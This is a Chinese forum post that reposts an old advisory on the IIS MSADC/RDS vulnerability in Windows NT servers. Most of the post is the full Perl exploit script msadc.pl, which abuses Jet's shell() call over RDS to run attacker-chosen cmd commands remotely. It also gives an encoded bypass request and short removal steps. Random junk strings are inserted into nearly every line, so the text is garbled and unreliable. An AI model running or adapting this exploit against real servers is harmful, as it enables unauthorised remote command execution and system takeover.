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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) N3(.7mxo  
B&L-Lc2  
涉及程序: LE}V{%)xD  
Microsoft NT server '4ip~>3?w  
YN}vAFR`  
描述: g^: & Dh  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  <BiSx  
o]M1$)>b +  
详细: `n?Rxhkwp  
如果你没有时间读详细内容的话,就删除: /*2)|2w  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |i\%> Y,  
有关的安全问题就没有了。 x n=#4:f  
H/U.Bg 4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 l;d4Le  
m6uFmU*<M}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 !oa/\p  
关于利用ODBC远程漏洞的描述,请参看: "`NAg  
:s*t\09V7  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hdeI/4 B  
eLIZ<zzW0}  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 2<9&OL  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp wk#cJ`wG;  
lVCnu> 8  
这里不再论述。 $0R5 ]]db)  
y$+=>p|d.^  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: a+RUSz;DL  
2HO2  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ,rV;T";r  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! }9kn;rb$g  
>n3ig~0d  
nC(Lr,(  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2@W`OW Njm  
y+p"5s"  
#!perl D#P]tt.Z   
# Ma4eu8  
# MSADC/RDS 'usage' (aka exploit) script vi.INe  
# R^B8** N  
# by rain.forest.puppy NxSSRv^rx  
# *zQhTYY  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me h=Q2 ?O8  
# beta test and find errors! VTU(C&"S  
eA*We  
use Socket; use Getopt::Std; fA"c9(>m%]  
getopts("e:vd:h:XR", \%args); k t'[  
 //0Y#"  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; n-g#nEc:  
_Wq;bKG  
if (!defined $args{h} && !defined $args{R}) { 31\mF\{V  
print qq~ Z;S)GUG^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "~S2XcR[ E  
-h <host> = host you want to scan (ip or domain) 0{ _6le]  
-d <seconds> = delay between calls, default 1 second 2}XxRJ0   
-X = dump Index Server path table, if available c/^l2CJ0  
-v = verbose 4 |bu= T  
-e = external dictionary file for step 5 Y9I|s{~  
h^v#?3.@  
Or a -R will resume a command session Ii# +JY0k  
l$[,V:N  
~; exit;} u{7->[=  
-oTdi0P  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; p2U6B  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "[-W(=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} n0G@BE1Y=  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 4V;-*:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} U{qwhz(  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ^q`RaX)  
/;vHAtt;f  
if (!defined $args{R}){ $ret = &has_msadc; IwBO#HR~)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} D<:zw/IRE  
X,c`,B03  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "_2;+@+  
. "cmd /c "; M)U)Sc zHO  
$in=<STDIN>; chomp $in; (>,b5g  
$command="cmd /c " . $in ; >6Jz=N,  
%mIdQQ,  
if (defined $args{R}) {&load; exit;} u@P1`E1Q  
OsW*@v(  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &bGf{P*Da  
&try_btcustmr; d,o*{sM5d  
7kITssVHI  
print "\nStep 2: Trying to make our own DSN..."; ~T/tk?:8Vi  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; f$5\ b[O  
.4l cES~  
print "\nStep 3: Trying known DSNs..."; ;VEKrVD  
&known_dsn; < 2fy(9y  
=**Q\ Sl  
print "\nStep 4: Trying known .mdbs..."; %%#bTyF  
&known_mdb; ;.<HpDfG_  
# 2FrP5rC  
if (defined $args{e}){ R\Ckk;<$  
print "\nStep 5: Trying dictionary of DSN names..."; OI8}v  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \%9QE  
Q,Y^9g"B`~  
print "Sorry Charley...maybe next time?\n"; .|Yn[?(  
exit; 6$kh5$[  
q: X^V$`  
############################################################################## 3[m2F O,Z  
=GW[UnO  
sub sendraw { # ripped and modded from whisker m=Gb<)Y  
sleep($delay); # it's a DoS on the server! At least on mine... ;Wa&Dg/5`  
my ($pstr)=@_; Jl6lZd(Np  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || dt>9mF q  
die("Socket problems\n"); \ .+:yV<$  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;)SWwhQ  
select(S); $|=1; Bj"fUI!dK  
print $pstr; my @in=<S>; m. \JO  
select(STDOUT); close(S); &;`E3$>  
return @in; u.*}'C>^^v  
} else { die("Can't connect...\n"); }} ZD7qw*3+  
~3&hvm[IQ  
############################################################################## dPxJ`8  
xZM4CR9]*C  
sub make_header { # make the HTTP request #_|O93HN'  
my $msadc=<<EOT g_! xD;0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )]LP8 J&  
User-Agent: ACTIVEDATA /{P-WRz>  
Host: $ip keG\-f  
Content-Length: $clen Dd,i^,4Gj  
Connection: Keep-Alive -1~o~yGE  
UI'fzlB  
ADCClientVersion:01.06 Ino]::ZJ/  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 '1fyBU  
@,}tY ?>a  
--!ADM!ROX!YOUR!WORLD! M ac?HI  
Content-Type: application/x-varg \zwm:@lG  
Content-Length: $reqlen .>~er?-  
U_.}V  
EOT m8G/;V[x  
; $msadc=~s/\n/\r\n/g; fU\;\  
return $msadc;} a,)/D_{1  
ksJ 1:_  
############################################################################## 'i:lV'  
86!$<!I  
sub make_req { # make the RDS request $ER9u2  
my ($switch, $p1, $p2)=@_; F-M)6&T  
my $req=""; my $t1, $t2, $query, $dsn; 'H4?V  
B2KBJ4rI[1  
if ($switch==1){ # this is the btcustmr.mdb query FFe{=H,=  
$query="Select * from Customers where City=" . make_shell(); J\p-5[E  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . B/^o$i  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} H0yM`7[y  
e 'F:LMX  
elsif ($switch==2){ # this is general make table query sY?wQ:  
$query="create table AZZ (B int, C varchar(10))"; rx@i .+  
$dsn="$p1";} !, rF(pz  
D~|q^Ms,%  
elsif ($switch==3){ # this is general exploit table query 5*Qzw[[=  
$query="select * from AZZ where C=" . make_shell(); ,H<nNBv 3M  
$dsn="$p1";} e**'[3Y  
*65~qAd  
elsif ($switch==4){ # attempt to hork file info from index server ( z F_<  
$query="select path from scope()"; \hb$v  
$dsn="Provider=MSIDXS;";} Ts|;5ya5m  
[-81s!#mkw  
elsif ($switch==5){ # bad query F1L[C4'  
$query="select"; &&m1_K  
$dsn="$p1";} )K`tnb.Pf  
Pj_DI)^  
$t1= make_unicode($query); f^F"e'1  
$t2= make_unicode($dsn); !R#PJH/TM  
$req = "\x02\x00\x03\x00"; sIl&\g<b  
$req.= "\x08\x00" . pack ("S1", length($t1)); h(3-/4  
$req.= "\x00\x00" . $t1 ; 4L4u<  
$req.= "\x08\x00" . pack ("S1", length($t2)); ne3t|JZ  
$req.= "\x00\x00" . $t2 ; l Ft&cy2  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; tp }Bz&V  
return $req;} wlslG^^(!  
Fg'{K%t4  
############################################################################## g[~J107%A  
h0$ \JXk  
sub make_shell { # this makes the shell() statement \OWxf[  
return "'|shell(\"$command\")|'";} Lxv_{~I*  
+_gA"I  
############################################################################## $fT#Wva-\d  
L|1~'Fz#w  
sub make_unicode { # quick little function to convert to unicode "Vp:Sq9y  
my ($in)=@_; my $out; l8_RA  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } fA[T5<66  
return $out;} :Z_abKt  
o]&P0 b  
############################################################################## &%k_BdlkQ  
St> E\tXp  
sub rdo_success { # checks for RDO return success (this is kludge) Goy[P2m  
my (@in) = @_; my $base=content_start(@in); +^J;ic  
if($in[$base]=~/multipart\/mixed/){ '"ze Im~  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5B8fz;l= B  
return 0;} jqTK7b  
">S1,rhgS  
############################################################################## w\V<6_[vv.  
7 s2*VKr  
sub make_dsn { # this makes a DSN for us 0tPwhJ  
my @drives=("c","d","e","f"); "gDk?w  
print "\nMaking DSN: "; JE*?O*&|Q  
foreach $drive (@drives) { :<0lCj  
print "$drive: "; wyAh%'V  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p6)6Gcx  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" npbf>n^R  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ~DB:/VSmu  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; wAzaxeV=  
return 0 if $2 eq "404"; # not found/doesn't exist jIHY[yDT  
if($2 eq "200") { jZvIqR/  
foreach $line (@results) { se}$/Y}t  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} g2 mq?q(g  
} return 0;} zzh7 "M3Qn  
]gF=I5jn]  
############################################################################## D5].^*AbZ  
~XvMiWuo  
sub verify_exists { "-AFWWKtx  
my ($page)=@_; 1|>bG#|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); f 9IqcCSW  
return $results[0];} v |(N  
osLEH?iKW  
############################################################################## qF`]}7"^  
h gwS_L  
sub try_btcustmr { HW'I$ .  
my @drives=("c","d","e","f"); ' dv(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s.KfMJ"u[  
vkM_a}%<  
foreach $dir (@dirs) { 6{g&9~V  
print "$dir -> "; # fun status so you can see progress n* .<L  
foreach $drive (@drives) { Ys?0hd<cn  
print "$drive: "; # ditto A8AeM `  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 1-.i^Hal  
$reqlenlen=length( "$reqlen" ); 7qWa>fX  
$clen= 206 + $reqlenlen + $reqlen; /#L4ec-'  
- ku8n%u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); yZNg[KH  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} o"A?Aq  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Fta=yH }  
Wg8*;dvtM  
############################################################################## %N\8!aXnf  
) :Px`] 5  
sub odbc_error { &XXr5ne~C  
my (@in)=@_; my $base; L&]{GNw  
my $base = content_start(@in);  /7Q9(}  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _6YfPk+  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LA(/UA3Izd  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; kK0zb{  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9'|_1Q.b^  
return $in[$base+4].$in[$base+5].$in[$base+6];} /;u=#qu(E-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ') 2LP;(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . q%)."10}]  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ltkA7dUbu  
1$:O9 {F  
############################################################################## m Q<Vwx0  
i~5'bSq c  
sub verbose { =Pp-9<& S  
my ($in)=@_; 60D6UW  
return if !$verbose; &b-&0 rTqz  
print STDOUT "\n$in\n";} !2/o]_K@+  
XG5T`>Yl  
############################################################################## ^(BE_<~  
b'ir$RL] c  
sub save { 3u s^\w#  
my ($p1, $p2, $p3, $p4)=@_; `dl^)4J  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; qK%#$JgqA  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; X2P8Zq=%a  
close OUT;} ldRq:M5z  
9c5DEq  
############################################################################## Fa{[kJ8z  
"1p, r&}  
sub load { v`@N R06  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; A-M6MW  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); /IH F  
@p=<IN>; close(IN); c s:E^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); G1 I<B  
$target= inet_aton($ip) || die("inet_aton problems"); };gcM @]]E  
print "Resuming to $ip ..."; Mi}k>5VT  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Vp1Nk#H  
if($p[1]==1) { SxkY ;^-U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /NuO>kQa  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &F'n >QT9q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); M`)3(|4  
if (rdo_success(@results)){print "Success!\n";} EQ"+G[j~x  
else { print "failed\n"; verbose(odbc_error(@results));}} Z8f?uF  
elsif ($p[1]==3){ zP|^@Homk  
if(run_query("$p[3]")){ r*FAUb`bG  
print "Success!\n";} else { print "failed\n"; }} \(zUI  
elsif ($p[1]==4){ vJX0c\e  
if(run_query($drvst . "$p[3]")){ e YiqTWn:  
print "Success!\n"; } else { print "failed\n"; }} Ypinbej  
exit;} { / ,?3  
oTTE<Ct [  
############################################################################## $"6Gv  
3,Iu!KB  
sub create_table { Odw9]`,T  
my ($in)=@_; }1.'2.<Y  
$reqlen=length( make_req(2,$in,"") ) - 28; ~;t/VsgGW  
$reqlenlen=length( "$reqlen" ); ^5k~ 7F.  
$clen= 206 + $reqlenlen + $reqlen; $9W,1wg  
my @results=sendraw(make_header() . make_req(2,$in,"")); iRV=I,  
return 1 if rdo_success(@results); QQ %W3D @  
my $temp= odbc_error(@results); verbose($temp); B f.- 5  
return 1 if $temp=~/Table 'AZZ' already exists/; X"jtPYCpV{  
return 0;} i nk !>Z  
dChMjaix  
############################################################################## B& 5Md.h  
=t.T9'{  
sub known_dsn { Xs~IoU  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go }yd!UU  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1`~.!yd8(  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", J M;WCV%NM  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); F^?DnZs  
oS<*\!&D  
foreach $dSn (@dsns) { m+x$LkP  
print "."; [&lH[:Y#  
next if (!is_access("DSN=$dSn")); o;OEb  
if(create_table("DSN=$dSn")){ p]7IoO -@  
print "$dSn successful\n"; |!CAxE0d$B  
if(run_query("DSN=$dSn")){ m<J:6^H@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JoD@e[(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Of}C.N8  
')Y1c O  
############################################################################## ZKM@U?PK  
e\!Aoky  
sub is_access { yI^7sf7k  
my ($in)=@_; oVW>PEgB-  
$reqlen=length( make_req(5,$in,"") ) - 28; B&<P>AZ  
$reqlenlen=length( "$reqlen" ); i1*0'x  
$clen= 206 + $reqlenlen + $reqlen; ~ e a K]|  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~.tYYX<  
my $temp= odbc_error(@results); R@U4Ae{+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); AJ)&+H  
return 0;} ;s-@m<  
tq51;L  
############################################################################## LjIkZ'HuF  
D0>Pc9  
sub run_query { #$F*.vQSs+  
my ($in)=@_; -aV( 6i*n  
$reqlen=length( make_req(3,$in,"") ) - 28; ZZi|0dG4;  
$reqlenlen=length( "$reqlen" ); Z;njSw%:  
$clen= 206 + $reqlenlen + $reqlen; `>OKV;~{z  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6Cfsh<]b  
return 1 if rdo_success(@results); %/qwqo`Q  
my $temp= odbc_error(@results); verbose($temp); z[y  
return 0;} v8n^~=SH  
amQTPNI  
############################################################################## mA@!t>=oMq  
kI2+&  
sub known_mdb { ae](=OQ  
my @drives=("c","d","e","f","g"); /Z[HU{4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); c e; zn\  
my $dir, $drive, $mdb; lQy-&d|=#^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ) $0>L5d:  
mu5r4W47  
# this is sparse, because I don't know of many z;_vl  
my @sysmdbs=( "\\catroot\\icatalog.mdb", f .$*9Fkw  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ZB} A^X  
"\\system32\\certmdb.mdb", oxdX2"WwU  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% B{p74 >  
zg$ag4%Qgg  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #Tt*NU  
"\\cfusion\\cfapps\\forums\\forums_.mdb", uBxoMxWm  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \ FJ ae  
"\\cfusion\\cfapps\\security\\realm_.mdb", c _!!DEe7  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;--D?Gs]Qr  
"\\cfusion\\database\\cfexamples.mdb", >(.Y%$9"E  
"\\cfusion\\database\\cfsnippets.mdb", 7 |GSs=  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 1N<n)>X4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", z 4;@"B  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 4C ;y2`C  
"\\cfusion\\database\\smpolicy.mdb", L\t_zf_0  
"\\cfusion\\database\cypress.mdb", K}2G4*8S_G  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", yvnDS"0<  
"\\website\\cgi-win\\dbsample.mdb", $PAAmaigi  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", !Ce!D0Tx  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p#_ 5w  
); #these are just GLX{EG9Z  
foreach $drive (@drives) { EVC]B}  
foreach $dir (@dirs){ E0yx @Vx  
foreach $mdb (@sysmdbs) { {m@tt{%  
print "."; o8v,17 8  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ |~PaCw8-ge  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \9uK^oS  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ uPjp5;V  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `uZMln @  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x 4sIZe+  
p \9}}t7n  
foreach $drive (@drives) { Yl:[b{Py  
foreach $mdb (@mdbs) { {cb<9Fii  
print "."; ;r&Z?B$  
if(create_table($drv . $drive . $dir . $mdb)){ 6(uZn=  
print "\n" . $drive . $dir . $mdb . " successful\n"; >/lB%<$/  
if(run_query($drv . $drive . $dir . $mdb)){ vxLr034  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; [HUK 9hG  
} else { print "Something's borked. Use verbose next time\n"; }}}} _[-W*,xJ)  
} xR|^{y9n  
O&yAFiCd  
############################################################################## K]G(u"'  
ezCJq`b  
sub hork_idx { \=]`X2Ld  
print "\nAttempting to dump Index Server tables...\n"; ~8"oH5  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ewHs ]V+U  
$reqlen=length( make_req(4,"","") ) - 28; dv+ZxP%g  
$reqlenlen=length( "$reqlen" ); 9q 2 vT^  
$clen= 206 + $reqlenlen + $reqlen; 6EO@ Xf7,  
my @results=sendraw2(make_header() . make_req(4,"","")); VX>j2Z'  
if (rdo_success(@results)){ 5Pxx)F9]  
my $max=@results; my $c; my %d; .Eb]}8/}E  
for($c=19; $c<$max; $c++){ ~PpDrJ; Va  
$results[$c]=~s/\x00//g; <VutwtA  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; s{8=Q0^  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G--(Ef%v'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; BV }CmU&DA  
$d{"$1$2"}="";} YOj&1ymBZ  
foreach $c (keys %d){ print "$c\n"; } ~!Nw]lb!  
} else {print "Index server doesn't seem to be installed.\n"; }} 2|d^#8)ZC  
F&m9G >r  
############################################################################## nk7>iK!i  
9V[}#(f$  
sub dsn_dict { gIusp917  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); X1o^MMpz(F  
while(<IN>){ 4>LaA7)v  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; q=D8 Nz  
next if (!is_access("DSN=$dSn")); &;)B qqXc  
if(create_table("DSN=$dSn")){ K~I?i/P=z  
print "$dSn successful\n"; dr+(C[=  
if(run_query("DSN=$dSn")){ vt^7:! r  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p<#aXs jy  
print "Something's borked. Use verbose next time\n";}}} LExm#T`  
print "\n"; close(IN);} !{+.)%d'g  
'`. -75T  
############################################################################## v9Sk\9}S  
i$Kx@,O8t  
sub sendraw2 { # ripped and modded from whisker CCol>:8{P  
sleep($delay); # it's a DoS on the server! At least on mine... JbS[(+o  
my ($pstr)=@_; O9/)_:Wdh  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .{*l,  
die("Socket problems\n"); M \  
if(connect(S,pack "SnA4x8",2,80,$target)){ Us!ZQ#pP  
print "Connected. Getting data"; G &NK  
open(OUT,">raw.out"); my @in; ZfH>UHft  
select(S); $|=1; print $pstr; 8ih_S2Cd  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} D7JrGaF{  
close(OUT); select(STDOUT); close(S); return @in; $/tj<++W  
} else { die("Can't connect...\n"); }} s }OL)rW=}  
9+PAyI#w  
############################################################################## |iX>hJSl  
0B!(i.w  
sub content_start { # this will take in the server headers D}lqd Ja  
my (@in)=@_; my $c; wy tMoG\  
for ($c=1;$c<500;$c++) { cz /cY:o)  
if($in[$c] =~/^\x0d\x0a/){ b1jDbiH&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } k ,+,,W  
else { return $c+1; }}} PnInsf%;  
return -1;} # it should never get here actually vmrs(k "d#  
{*TB }Xsr,  
############################################################################## -m=A1~|7  
yiI oqvP  
sub funky { {wj%WSQj/y  
my (@in)=@_; my $error=odbc_error(@in); L 6fbR-&Lt  
if($error=~/ADO could not find the specified provider/){ 1iLo$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2IRARZ,3  
exit;} ?[m1?  
if($error=~/A Handler is required/){ AWx@Z7\z"g  
print "\nServer has custom handler filters (they most likely are patched)\n"; k{{3nenAG  
exit;} KV|D]}  
if($error=~/specified Handler has denied Access/){ oy5K* }  
print "\nServer has custom handler filters (they most likely are patched)\n"; ab%I&B<b  
exit;}} v;9(FLtL  
B5vLV@>]  
############################################################################## j~K(xf  
;nQ=! .#Q  
sub has_msadc { Z_xQ2uH$:  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); G'#u!<(^h  
my $base=content_start(@results); fRLA;1va  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :{iH(ae;  
return 0;} f^lcw  
]= %qm;  
######################## jX8)Ov5Mv  
0m4M@94  
%_4#WI  
解决方案: kk6 !krZ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll T$%QK?B  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 gDLS)4^w  
^@RvCJ+  
拿出来充数 哈哈
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